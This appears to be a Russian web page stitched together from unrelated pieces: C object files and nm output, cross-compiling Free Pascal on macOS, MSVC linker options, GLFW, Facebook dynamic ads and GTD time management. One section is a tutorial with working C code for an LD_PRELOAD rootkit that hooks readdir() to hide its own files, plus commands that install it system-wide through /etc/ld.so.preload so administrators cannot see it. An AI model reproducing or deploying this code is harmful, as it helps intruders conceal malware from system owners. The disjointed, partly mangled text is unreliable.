Что такое динамический компоновщик в программировании?

Что делает компилятор C

Работа компилятора C заключается в конвертировании текста программы на C, понятного человеку, в нечто, что понимает компьютер. На выходе компилятор выдаёт объектный файл.

Содержание объектного файла — в сущности, две вещи:

  1. код, соответствующий определению функции в C-файле,
  2. данные, соответствующие определению глобальных переменных в C-файле (для инициализированных глобальных переменных начальное значение переменной тоже должно быть сохранено в объектном файле).

Код и данные будут иметь ассоциированные с ними имена — имена функций или переменных, с которыми они связаны определением.

Объектный код — это последовательность машинных инструкций для процессора, которая соответствует C-коду: if‘ы и while‘ы и пр. Эти инструкции должны манипулировать информацией определённого рода, а информация должна где-нибудь находится — для этого нам и нужны переменные. Код может также ссылаться на другой код (в частности, на другие C-функции в программе).

Где бы код ни ссылался на переменную или функцию, компилятор допускает это, только если он видел раньше объявление этой переменной или функции. Объявление — это обещание, что определение существует где-то в другом месте программы.

Работа компоновщика проверить эти обещания. Однако, что компилятор делает со всеми этими обещаниями, когда он генерирует объектный файл?

По существу компилятор оставляет пустые места. Пустое место (ссылка) имеет имя, но значение, соответствующее этому имени, пока неизвестно.

Учитывая это, мы можем изобразить объектный файл, соответствующей программе, приведённой выше, следующим образом:

Анализ объектного файла

Полезно посмотреть, как это работает на практике.

$ gcc -c example1.c 
$ ls
example1.c  example1.o

Объектный файл, хоть и не может быть запущен напрямую, имеет формат, схожий с форматом исполняемого файла.

На UNIX объектные файлы имеют расширение o. Формат — ELF.

На Windows используется расширение obj. Формат — COFF.

На платформе UNIX основным инструментом для нас будет команда nm, которая выдаёт информацию о символах объектного файла. Для Windows команда dumpbin с опцией /symbols является приблизительным эквивалентом. Также есть портированные под Windows инструменты GNU binutils, которые включают nm.exe.

Давайте посмотрим, что выдаёт nm для объектного файла, полученного из нашего примера выше.

$ nm -S example1.o
                 U fn_a
0000000000000000 000000000000000f t fn_b
000000000000000f 0000000000000059 T fn_c
0000000000000000 0000000000000004 D x_global_init
0000000000000004 0000000000000004 C x_global_uninit
0000000000000004 0000000000000004 d y_global_init
0000000000000000 0000000000000004 b y_global_uninit
                 U z_global

Результат может выглядеть немного по разному на разных платформах.

$ nm -f sysv example1.o

Symbols from example1.o:

Name                  Value           Class        Type         Size             Line  Section

fn_a                |                |   U  |            NOTYPE|                |     |*UND*
fn_b                |0000000000000000|   t  |              FUNC|000000000000000f|     |.text
fn_c                |000000000000000f|   T  |              FUNC|0000000000000059|     |.text
x_global_init       |0000000000000000|   D  |            OBJECT|0000000000000004|     |.data
x_global_uninit     |0000000000000004|   C  |            OBJECT|0000000000000004|     |*COM*
y_global_init       |0000000000000004|   d  |            OBJECT|0000000000000004|     |.data
y_global_uninit     |0000000000000000|   b  |            OBJECT|0000000000000004|     |.bss
z_global            |                |   U  |            NOTYPE|                |     |*UND*

Ключевыми сведениями являются класс каждого символа и его размер (если присутствует).

  • Класс U (от undefined) обозначает неопределённые ссылки, те самые «пустые места», упомянутые выше. Для этого класса существует два объекта: fn_a и z_global.
  • Классы t и T (от слова text) указывают на код, который определён; различие между t и T заключается в том, является ли функция статической (t) (локальной в файле) или нет (T), т.е. была ли функция объявлена как static.
  • Классы d и D (от слова data) содержат инициализированные глобальные переменные. При этом статические переменные принадлежат классу d.
  • Для неинициализированных глобальных переменных мы получаем b, если они статичные, и B или C иначе.

Из Darwin i386 на x86_64

Официальный установщик FPC для macOS/i386 включает компилятор x86_64 и все модули, необходимые для компиляции программ x86_64 (используйте ppcx64 вместо ppc386 для компиляции ваших программ или использования fpc -Px86_64). Приведенные ниже инструкции необходимы только в том случае, если вы хотите скомпилировать и установить новую версию из svn.

Компилируем FPC:

$ cd fpc
$ make all CPU_TARGET=x86_64

Этот создает кросс-компилятор x86_64 (fpc/compiler/ppcrossx64) и все модули. Вы можете установить их, используя следующие команды:

$ sudo make crossinstall CPU_TARGET=x86_64
$ sudo mv /usr/local/lib/fpc/2.7.1/ppcrossx64 /usr/local/lib/fpc/2.7.1/ppcx64

Если вы хотите сделать этот недавно установленный компилятор версией по умолчанию (это не рекомендуется, т.к. это нарушит вашу способность создавать новые версии FPC 2.7.1 без явного указания пути к последнему официальному FPC), также выполните следующую команду:

$ sudo ln -sf /usr/local/lib/fpc/2.7.1/ppcx64 /usr/local/bin/ppcx64

Предполагая, что все компоненты LCL, используемые вашим проектом, поддерживаются с помощью , вы можете скомпилировать проект Lazarus из командной строки, используя такую команду (возможно необходим полный путь к компилятору):

$ lazbuild -B project1.lpr --ws=cocoa --cpu=x86_64 --os=darwin --compiler=/usr/local/bin/ppcx64

Вы можете проверить, что ваш исполняемый файл является 64-битным, использует команду «file»:

$ file ./project1
$ ./project1: Mach-O 64-bit executable x86_64

Кроме того, вы можете настроить свой проект на компиляцию как 64-бит с помощью графического интерфейса Lazarus:

a.) Выберите пункт меню Project/ProjectOptions
b.) В  CompilerOptions/ConfigAndTarget установите "Target CPU family" в "x86_64"
c.) В  CompilerOptions/AdditionsAndOverrides сохраните "LCLWidgetType := cocoa" в LPI

Обратите внимание, что 64-разрядный компьютер macOS может работать с 32-разрядными исполняемыми файлами. Однако, если вы хотите создать бинарник, который выполняется на 32-разрядном Intel также хорошо, как и в 64-битном режиме на 64-битном компьютере Intel, вы можете использовать команду «lipo»

Это позволило бы 64-разрядному компьютеру получить доступ к большему количеству памяти и теоретически возможно немного улучшиться (например, различные оптимизации компилятора, больше регистров, но с большими указателями). Предполагается, что вы создали отдельные 32-разрядные («project32») и 64-разрядные («project64») исполняемые файлы на Lazarus.

$ lipo -create project32 project64 -o projectUniversal

Скрываем файл из листинга ls

Боль­шинс­тво динами­чес­ки ском­пилиро­ван­ных прог­рамм исполь­зуют сис­темные вызовы стан­дар­тной биб­лиоте­ки libc. С помощью ути­литы ldd пос­мотрим, какие биб­лиоте­ки исполь­зует прог­рамма ls:

1
2
3
4

$ldd/bin/ls

libc.so.6=>/lib/x86_64-linux-gnu/libc.so.6(0x00007f1ade498000)

По­луча­ется, ls динами­чес­ки ском­пилиро­вана с исполь­зовани­ем фун­кций биб­лиоте­ки
libc.<wbr/>so. Теперь пос­мотрим, какие сис­темные вызовы для чте­ния дирек­тории исполь­зует ути­лита ls. Для это­го в пус­той дирек­тории выпол­ним
ltrace<wbr/>ls:

1
2
3
4
5
6
7
8

$ltrace ls

memcpy(0x55de4a72e9b0,».\0″,2)=0x55de4a72e9b0

__errno_location()=0x7f3a35b07218

opendir(«.»)=0x55de4a72e9d0

readdir(0x55de4a72e9d0)=0x55de4a72ea00

readdir(0x55de4a72e9d0)=0x55de4a72ea18

readdir(0x55de4a72e9d0)=

closedir(0x55de4a72e9d0)=

Оче­вид­но, что при выпол­нении коман­ды без аргу­мен­тов ls исполь­зует сис­темные вызовы
opendir(<wbr/>),
readdir(<wbr/>) и 
closedir(<wbr/>), которые вхо­дят в биб­лиоте­ку libc. Давайте теперь задей­ству­ем
LD_PRELOAD и пере­опре­делим эти стан­дар­тные вызовы сво­ими. Напишем прос­тую биб­лиоте­ку, в которой изме­ним фун­кцию
readdir(<wbr/>), что­бы она скры­вала наш файл с кодом.

Здесь мы уже перехо­дим к написа­нию прос­того рут­кита без наг­рузки. Все, что он будет делать, — это пря­тать сам себя от глаз адми­нис­тра­тора сис­темы.

Я соз­дал дирек­торию
rootkit и даль­ше буду работать в ней. Соз­дадим файл
rkit.<wbr/>c.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

#define _GNU_SOURCE
#include
#include
#include
#include
#include
#define RKIT    «rootkit.so»
#define LD_PL   «ld.so.preload»

structdirent*(*orig_readdir)(DIR *)=NULL;

structdirent *readdir(DIR *dirp)

{

if(orig_readdir==NULL)

orig_readdir=(structdirent*(*)(DIR *))dlsym(RTLD_NEXT,»readdir»);

structdirent *ep=orig_readdir(dirp);

while(ep!=NULL&&

        ( !strncmp(ep->d_name, RKIT,  strlen(RKIT)) ||
          !strncmp(ep->d_name, LD_PL, strlen(LD_PL))
        )) {
          ep = orig_readdir(dirp);

}

returnep;

}

Ком­пилиру­ем и про­веря­ем работу:

1
2
3
4
5
6
7
8
9
10
11
12
13

$gcc-Wall-fPIC-shared-orootkit.so rkit.c-ldl

$ls-lah

ито­го28K

drwxr-xr-x2n0a n0a4,0Kноя232346.

drwxr-xr-x4n0a n0a4,0Kноя232333..

-rw-r—r—1n0a n0a496ноя232344rkit.c

-rwxr-xr-x1n0a n0a16Kноя232346rootkit.so

$LD_PRELOAD=./rootkit.so ls-lah

ито­го12K

drwxr-xr-x2n0a n0a4,0Kноя232346.

drwxr-xr-x4n0a n0a4,0Kноя232333..

-rw-r—r—1n0a n0a496ноя232344rkit.c

Нам уда­лось скрыть файл
rootkit.<wbr/>so от пос­торон­них глаз. Пока мы тес­тирова­ли биб­лиоте­ку исклю­читель­но в пре­делах одной коман­ды.

Используем /etc/ld.so.preload

Да­вайте вос­поль­зуем­ся записью в
/<wbr/>etc/<wbr/>ld.<wbr/>so.<wbr/>preload для сок­рытия нашего фай­ла от всех поль­зовате­лей сис­темы. Для это­го запишем в 
ld.<wbr/>so.<wbr/>preload путь до нашей биб­лиоте­ки:

1
2
3
4
5
6

# ls

rkit.crootkit.so

 
# echo $(pwd)/rootkit.so > /etc/ld.so.preload
# ls

rkit.c

Те­перь мы скры­ли файл ото всех поль­зовате­лей (хотя это не сов­сем так, но об этом поз­же). Но опыт­ный адми­нис­тра­тор доволь­но лег­ко нас обна­ружит, так как само по себе наличие фай­ла
/<wbr/>etc/<wbr/>ld.<wbr/>so.<wbr/>preload может говорить о при­сутс­твии рут­кита — осо­бен­но если рань­ше такого фай­ла не было.

Анализ объектного файла

Пока мы работали с абстрактной программой; теперь важно посмотреть ,как она выглядит на практике. На платформе UNIX можно воспользоваться утилитой nm

На Windows примерным аналогом служит dumpbin с флагом /symbols, хотя есть и порт GNU binutils, который включает nm.exe.

Посмотрим, что нам выдаст для написанной выше программы nm:

00000000 b .bss
00000000 d .data
00000000 N .debug_abbrev
00000000 N .debug_aranges
00000000 N .debug_info
00000000 N .debug_line
00000000 N .debug_loc
00000000 i .drectve
00000000 r .eh_frame
00000000 r .rdata$zzz
00000000 t .text
         U _fn_a
00000000 T _fn_c
00000000 D _x_global_init
00000004 C _x_global_uninit
         U _z_global

Для ранее скомпилированного файла file.o

nm file.o

От системы к системе вывод может отличаться, но ключевая информация – это класс каждого символа и его размер (если доступен). Класс может иметь следующие значения

  • Класс U означает неизвестный (unknown), или заглушку, как было сказано выше. Всего два таких объекта: fn_a и z_global (некоторые версии nm могут также вывести section, которая в данном случае будет *UND* или UNDEF)
  • Класс t или T обозначает, что код определён – t локально или T – это статическая функция. Также может быть выведена секция .text
  • Класс d и D обозначают инициализированную глобальную переменную, d – локальную, D – не локальную. Сегмент для данных переменных обычно .data
  • Для неинициализированных глобальных переменных используется класс b, если статическая/локальная или B и C, если нет. Обычно это сегмент .bss или *COM*

Есть и другие гнусные классы, представляющие какие-то внутренние механизмы компилятора.

Страница свойств «Дополнительно»

Нет точки входа

Параметр /NOENTRYнеобходим для создания библиотеки DLL только для ресурсов. Используйте этот параметр, чтобы предотвратить связывание ссылки со ссылкой на библиотеку DLL.

Предотвращение выполнения данных (DEP)

помечает исполняемый файл как проверенный на совместимость с Windows функцией предотвращения выполнения данных. (/NXCOMPAT)

Отключить создание сборки

параметр /NOASSEMBLY указывает компоновщику создать образ для текущего выходного файла без сборки платформа .NET Framework.

Библиотека DLL выгрузки отложенной загрузки

Квалификатор unload сообщает вспомогательной функции отложенной загрузки о необходимости поддержки явной выгрузки библиотеки DLL. (/delay: Unload)

Библиотека DLL с отложенной загрузкой

Квалификатор без привязки указывает, что компоновщик не должен включать связываемые IAT в окончательный образ. По умолчанию задано создание связываемой таблицы IAT для библиотек DLL, загружаемых с задержкой. (/delay: Unbind)

Объединить разделы

Параметр /Merge объединяет первый раздел (из) со вторым разделом (to), присваивая результирующему разделу имя. Например,/MERGE:. rdata =. Text.

Целевой компьютер

Параметр /Machine указывает целевую платформу для программы.

Choices

  • Не задано
  • мачинеарм
  • MachineARM64
  • мачинибк
  • MachineIA64
  • мачинемипс
  • MachineMIPS16
  • мачинемипсфпу
  • MachineMIPSFPU16
  • MachineSH4
  • мачинесумб
  • MachineX64
  • MachineX86

Профиль

Создает выходной файл, который может быть использован для профилировщика производительности инструментов. Требуется задать Женератедебугинформатион (//Debug). (/Profile)

Атрибут потока среды CLR

Явно укажите атрибут потоковой обработки для точки входа программы CLR.

Choices

  • Атрибут потоков агента передачи сообщений — применяет атрибут MTAThreadAttribute к точке входа программы.
  • Потоковый атрибут STA — применяет атрибут STAThreadAttribute к точке входа программы.
  • Атрибут потока по умолчанию — то же, что не указывает /CLRTHREADATTRIBUTE. Позволяет среде CLR задавать потоковый атрибут по умолчанию.

Тип образа среды CLR

Задает тип (IJW, pure или safe) CLR-образа.

Choices

  • Принудительно использовать образ IJW
  • Принудительно использовать чистое изображение IL
  • принудительно использовать образ IL Сейф
  • Тип изображения по умолчанию

Отложенная подпись

Частично подписать сборку. Используйте параметр /delaysign , если хотите поместить только открытый ключ в сборку. Значение по умолчанию —/DELAYSIGN: NO.

Проверка неуправляемого кода CLR

/CLRUNMANAGEDCODECHECK указывает, будет ли компоновщик применять атрибут SuppressUnmanagedCodeSecurityAttribute к созданным компоновщиком вызовам PInvoke из управляемого кода в собственные библиотеки DLL.

Отчет об ошибках

Разрешает передавать данные о внутренних ошибках компилятора (ICE) непосредственно в группу Visual C++.

Choices

  • Запросить незамедлительно — запрос немедленно.
  • Ставить в очередь следующий вход в очередь для следующего входа в систему.
  • Отправка отчета об ошибках — Отправка отчета об ошибках.
  • Без отчета об ошибках — нет отчета об ошибках.

SectionAlignment

Параметр /align задает выравнивание каждого раздела в линейном адресном пространстве программы. Аргумент Number находится в байтах и должен быть степенью числа 2.

Сохранить последний код ошибки для вызовов PInvoke

Параметр/CLRSUPPORTLASTERROR, который включен по умолчанию, сохраняет последний код ошибки функций, вызываемых через механизм P/Invoke, который позволяет вызывать собственные функции в библиотеках DLL, из кода, скомпилированного с помощью/CLR.

Choices

  • Enabled — включить CLRSupportLastError.
  • Disabled — отключить CLRSupportLastError.
  • Только системные библиотеки DLL . Включайте CLRSupportLastError только для системных библиотек DLL.

образ содержит Сейф обработчики исключений

Если указан параметр /SAFESEH , то компоновщик создает изображение только в том случае, если оно также может создать таблицу безнадежных обработчиков исключений образа. В этой таблице указывается операционная система, для которой обработчики исключений являются допустимыми для образа.

Библиотека GLFW

GLFW (англ. «Graphics Library FrameWork») — это библиотека, написанная на языке Си, специально предназначенная для работы с OpenGL. Библиотека GLFW предоставит нам все необходимые инструменты, которые потребуются для рендеринга на экран различных объектов. Благодаря этому мы сможем создавать контексты OpenGL, определять параметры окна и обрабатывать пользовательский ввод, что вполне коррелирует с нашими целями.

Основное внимание на этом и следующем уроках уделяется изучению библиотеки GLFW, созданию корректного контекста OpenGL, а также простого окна, в котором мы и будем рисовать наши объекты. На этом уроке мы пошагово рассмотрим установку библиотеки GLFW, а также процесс сборки и компиляции программы в связке с GLFW

Примечание: На момент написания данной статьи в качестве среды разработки мы будем использовать Microsoft Visual Studio 2019 (обратите внимание, что наши действия будут аналогичными и с более старыми версиями Visual Studio). Если же вы используете более старую версию Visual Studio (или вообще другую среду разработки), то можете быть спокойны, т.к

процесс установки и настройки GLFW аналогичен в большинстве IDE.

Суть динамических креативов

Это сравнительно новая функция Facebook, которая использует алгоритмы создания полноценной рекламы из отдельных творческих компонентов. Рекламодатели предоставляют текст, заголовки, описания, CTA и изображения или видео для объединения их в высокоэффективную рекламу. Эта функция устраняет большую часть ручной работы по творческой оптимизации и может принести важные инсайты быстрее, чем когда-либо прежде.

Для разнообразия комбинаций максимально можно добавить 30 объектов:

  • 5 заголовков;
  • 5 вариантов подписи;
  • 5 описаний;
  • 5 calls-to-action;
  • 10 медиафайлов (фото или видео).

Миксуя эти элементы, инструмент создаст тысячи рекламных объявлений, которые будут показаны в разных сочетаниях (зависимо от места размещения и ЦА).

ВАЖНО! Но всегда нужно помнить, что вы не сможете обеспечить бюджетом тысячу объявлений, поэтому не стоит добавлять для ротации все 30 объектов. Поскольку динамические креативы работают только с кампаниями «Трафик», «Конверсии» и «Установка приложений», можно использовать их для кампаний ремаркетинга 1-го или 2-го уровня в середине и нижней части воронки продаж (люди, осведомленные о вашем товаре и с намерением его купить) и для холодных продаж

Поскольку динамические креативы работают только с кампаниями «Трафик», «Конверсии» и «Установка приложений», можно использовать их для кампаний ремаркетинга 1-го или 2-го уровня в середине и нижней части воронки продаж (люди, осведомленные о вашем товаре и с намерением его купить) и для холодных продаж.

Используя функцию динамических креативов, вы можете протестировать несколько изображений продуктов, наряду с несколькими вариантами заголовков. «Купить» будет наиболее подходящим призывом к действию, поэтому вам не нужно будет тестировать несколько calls-to-action.

Еще один вариант использования динамических креативов — для нижней части вашей воронки продаж. Это ремаркетинг для людей, которые посетили ваш сайт. Независимо от того, продаете ли вы продукты или услуги, вы можете использовать этот инструмент для тестирования множества рекламных комбинаций, а также различных изображений продуктов/услуг. Использование вариативности рекламных объявлений для ремаркетинга на этом этапе воронки продаж укрепляет доверие аудитрии и с большей вероятностью привлечет ваших идеальных клиентов, стимулируя их повторно посетить веб-сайт.

GTD: что это такое

GTD (Getting Things Done) — методология для организации и контроля задач. Ее придумал Дэвид Аллен, бизнес-тренер и консультант по управлению. Она нужна, чтобы не только планировать, но и доводить намеченные дела до конца.

GTD часто относят к тайм-менеджменту: если ее правильно применять, система помогает успевать больше и бороться с многозадачностью.

Что почитать о тайм-менеджменте:

  • Как выиграть время: пять уровней тайм-менеджмента в digital.
  • Как управлять временем по методу Pomodoro: объясняем на томатах.

Принципы GTD, без соблюдения которых ничего не работает

Ничего не держать в голове

Главный принцип, на котором строится вся методология. Все нужно фиксировать. Даже мелкие задачи и то, что кажется неважным.

Проще значит лучше

Фиксировать и систематизировать информацию нужно удобным вам способом. Если вы любите блокноты, то ведение дел в приложениях и таск-менеджерах не упростит вам жизнь, а скорее наоборот.

Думать о решении

Часто бывает, что дела стоят на месте, потому что мы воспринимаем их как очередную проблему, а не ищем решение.

Одна задача в один момент времени

По системе GTD многозадачность — препятствие. Нужно думать только о той задаче, которую выполняете сейчас. То есть не думать про доклад для конференции, пока проверяете макет.

Составить список действий

Набросанные в таск-менеджере или календаре задачи не решат все проблемы. Нужно воспринимать каждую из них как список конкретных действий, тогда с ними будет проще работать.

Настройка динамических креативов

Начнем с уже знакомого всем Ads Manager. Кейс будет рассмотрен с примером цели рекламы «Генерация лидов» (этот инструмент работает и в сочетании с другими целями, например, «Трафик», «Конверсия», но не со всеми).

Начинаем настройку, кликаем «Продолжить» и уже на следующем шаге видим опцию «Динамические креативы». Обратите внимание, что автоматически они отключены, вы можете их включить

В следующем окне появляются уже привычные вам настройки: выбор бизнес-страницы, от имени которого будет транслироваться реклама, блок загрузки медиафайлов, формат рекламы. С самой сутью динамических креативов вы столкнетесь, дойдя до тизерной части объявления.

Настройка описания тизера

Обратите внимание на блок «Текст». Здесь есть возможность ввести 5 разных текстов (каждый на 1024 символа)

Вводим тестовый текст и смотрим, где он отобразится (посмотрите на скрин).

Наш текст (мы ввели «Тест 1»), который является описанием тизера, появился между названием страницы и самим тизером. Если нужно расширить вариативность, добавляете еще другие тексты — до 5 штук.

ВАЖНО! Тексты должны быть взаимосогласованными. Учитывайте, что текст может рандомно попасть в микс с другими заголовками и они должны логично сочетаться и не отрицать друг друга

Поэтому тексты должны затрагивать разные аспекты, которые, в сочетании с рядом заголовков, однозначно выигрышно продадут ваш продукт.

Настройка заголовка тизера

Перейдя к настройкам заголовка, вы также можете экспериментировать и вносить до 5 разных заголовков, которые вам подходят. Заголовок сразу появляется в нижней части тизера.

ВАЖНО! При внесении заголовка нужно помнить — он, на самом деле, таким не является. Он показывается под самим тизером и, по факту, заголовок это то, что написано на самом тизере (картинке или видео)

Если на вашей картинке нет текста, то, в первую очередь, внимание будет фокусироваться на верхней части тизера (то есть, на вашем описании тизера)

Call-to-action и вариативность медиафайлов

Кроме перечисленных параметров стоит обратить внимание и на призыв к действию, который будет отображаться внизу тизера в виде кнопки. По умолчанию у нас стоит «Регистрация», но вы можете выбрать подходящий вам call-to-action

Как только мы закончили экспериментировать с возможностями тестов, которые дают динамические креативы, можно перейти в раздел «Медиаобъекты». Если в стандартной группе объявлений мы можем использовать до 6 объектов включительно, то здесь — целых 10. Добавленные вами файлы Facebook замиксует с настройками, которые вы внесли ранее.

В результате, вы получаете гораздо большую вариативность, чем в привычных группах объявлений. Алгоритм рандомно соединяет заголовок, описание, сниппет и картинка

Важно не переборщить с количеством вариантов — ведь, если вы введете по 5 вариантов каждой настройки, вам понадобится гораздо больше денег, чтобы их протестировать

Рейтинг
( Пока оценок нет )
Понравилась статья? Поделиться с друзьями:
Все про сервера
Добавить комментарий

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!: